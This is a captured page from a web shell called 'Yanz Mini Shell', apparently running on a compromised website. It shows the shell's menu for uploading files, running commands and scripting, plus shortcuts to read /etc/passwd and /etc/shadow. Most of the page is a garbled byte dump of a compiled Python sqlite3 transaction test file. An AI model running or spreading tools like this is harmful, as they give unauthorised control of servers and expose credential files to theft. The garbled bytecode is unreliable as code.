Yanz Mini Shell
[_]
[-]
[X]
[
HomeShell 1
] [
HomeShell 2
] [
Upload
] [
Command Shell
] [
Scripting
] [
About
]
[ Directory ] =>
/
home
firstmatrixcoin
public_html
ocean-arc.firstmatrix.co.in
bootstrap
css
Action
[*]
New File
[*]
New Folder
Sensitive File
[*]
/etc/passwd
[*]
/etc/shadow
[*]
/etc/resolv.conf
[
Delete
] [
Edit
] [
Rename
] [
Back
]
U &��_� � @ sx d dl Z d dlZd dlZdd� ZG dd� dej�ZG dd� dej�ZG dd � d ej�Zd d � Z d d � Z e dkrte � dS )� Nc C s dS )NZ sqlite_testdb� r r r �8/opt/python38/lib/python3.8/sqlite3/test/transactions.py� get_db_path s r c @ s� e Zd Zdd� Zdd� Zdd� Zdd� Zd d � Zd d � Zd d� Z dd� Z e � e jdk d�dd� �Ze � e jdk d�dd� �Zdd� ZdS )�TransactionTestsc C sf zt �t� � W n tk r$ Y nX tjt� dd�| _| j�� | _tjt� dd�| _ | j �� | _ d S )Ng�������?)�timeout) �os�remover �OSError�sqlite�connect�con1�cursor�cur1�con2�cur2��selfr r r �setUp s zTransactionTests.setUpc C sR | j �� | j�� | j�� | j�� zt�t� � W n tk rL Y nX d S �N) r �closer r r r �unlinkr r r r r r �tearDown+ s zTransactionTests.tearDownc C sN | j �d� | j �d� | j �d� | j�d� | j�� }| �t|�d� d S )N�create table test(i)� insert into test(i) values (5)zcreate table test2(j)�select i from testr �r �executer �fetchall� assertEqual�len�r �resr r r � CheckDMLDoesNotAutoCommitBefore7 s z0TransactionTests.CheckDMLDoesNotAutoCommitBeforec C sB | j �d� | j �d� | j�d� | j�� }| �t|�d� d S )Nr r r r r r r r r � CheckInsertStartsTransaction? s z-TransactionTests.CheckInsertStartsTransactionc C sX | j �d� | j �d� | j�� | j �d� | j�d� | j�� d }| �|d� d S )Nr r zupdate test set i=6r r � )r r r �commitr Zfetchoner r r r r � CheckUpdateStartsTransactionF s z-TransactionTests.CheckUpdateStartsTransactionc C sX | j �d� | j �d� | j�� | j �d� | j�d� | j�� }| �t|�d� d S )Nr r zdelete from testr � �r r r r% r r r r r r r r � CheckDeleteStartsTransactionO s z-TransactionTests.CheckDeleteStartsTransactionc C sl | j �d� | j �d� | j�� | j �d� | j�d� | j�� }| �t|�d� | �|d d d� d S )Nr r z replace into test(i) values (6)r r' r r$ r( r r r r � CheckReplaceStartsTransactionX s z.TransactionTests.CheckReplaceStartsTransactionc C s� | j �d� | j �d� d | j_| �| jjd � | j�d� | j�� }| �t|�d� d| j_| �| jjd� | j �d� | j�d� | j�� }| �t|�d� d S )Nr r r r' ZDEFERRED)r r r Zisolation_levelr r r r r r r r �CheckToggleAutoCommitb s z&TransactionTests.CheckToggleAutoCommit)� � r- z.test hangs on sqlite versions older than 3.2.2c C s@ | j �d� | j �d� | �tj�� | j�d� W 5 Q R X d S )Nr r )r r � assertRaisesr �OperationalErrorr r r r r �CheckRaiseTimeoutr s z"TransactionTests.CheckRaiseTimeoutc C sJ | j �d� | j �d� | �tj�� | j�d� W 5 Q R X | j�� dS )z� This tests the improved concurrency with pysqlite 2.3.4. You needed to roll back con2 before you could commit con1. r r N)r r r. r r/ r r r% r r r r � CheckLockingz s z TransactionTests.CheckLockingc C s\ t �d�}|�� }|�d� |�d� |�d� |�� | �t j�� |�� W 5 Q R X dS )z� Checks if cursors on the connection are set into a "reset" state when a rollback is done on the connection. �:memory:zcreate table test(x)z insert into test(x) values (5)z&select 1 union select 2 union select 3N)r r r r �rollbackr. ZInterfaceErrorr )r �con�curr r r � CheckRollbackCursorConsistency� s z/TransactionTests.CheckRollbackCursorConsistencyN)�__name__� __module__� __qualname__r r r" r# r& r) r* r+ �unittestZskipIfr Zsqlite_version_infor0 r1 r6 r r r r r s" � � r c @ s, e Zd Zdd� Zdd� Zdd� Zdd� Zd S ) �SpecialCommandTestsc C s t �d�| _| j�� | _d S �Nr2 )r r r4 r r5 r r r r r � s zSpecialCommandTests.setUpc C s( | j �d� | j �d� | j �d� d S )Nr r zdrop table test�r5 r r r r r �CheckDropTable� s z"SpecialCommandTests.CheckDropTablec C s( | j �d� | j �d� | j �d� d S )Nr r zpragma count_changes=1r= r r r r � CheckPragma� s z SpecialCommandTests.CheckPragmac C s | j �� | j�� d S r )r5 r r4 r r r r r � s z SpecialCommandTests.tearDownN)r7 r8 r9 r r> r? r r r r r r; � s r; c @ s4 e Zd Zdd� Zdd� Zdd� Zdd� Zd d � Zd S ) �TransactionalDDLc C s t �d�| _d S r< )r r r4 r r r r r � s zTransactionalDDL.setUpc C s6 | j �d� | j �� | j �d��� }| �|g � d S )Nr �select * from test)r4 r r3 r r )r �resultr r r �#CheckDdlDoesNotAutostartTransaction� s z4TransactionalDDL.CheckDdlDoesNotAutostartTransactionc C sJ | j �d� | j �d� | j �� | �tj�� | j �d� W 5 Q R X d S )Nzbegin immediater rA �r4 r r3 r. r r/ r r r r � CheckImmediateTransactionalDDL� s z/TransactionalDDL.CheckImmediateTransactionalDDLc C sJ | j �d� | j �d� | j �� | �tj�� | j �d� W 5 Q R X d S )NZbeginr rA rD r r r r �CheckTransactionalDDL� s z&TransactionalDDL.CheckTransactionalDDLc C s | j �� d S r )r4 r r r r r r � s zTransactionalDDL.tearDownN)r7 r8 r9 r rC rE rF r r r r r r@ � s r@ c C s4 t �td�} t �td�}t �td�}t �| ||f�S )NZCheck)r: Z makeSuiter r; r@ Z TestSuite)Z default_suiteZspecial_command_suiteZ ddl_suiter r r �suite� s rG c C s t �� } | �t� � d S r )r: ZTextTestRunner�runrG )Zrunnerr r r �test� s rI �__main__) r r: Zsqlite3r r ZTestCaser r; r@ rG rI r7 r r r r �<module> s y!
Free Space : 62816428032 Byte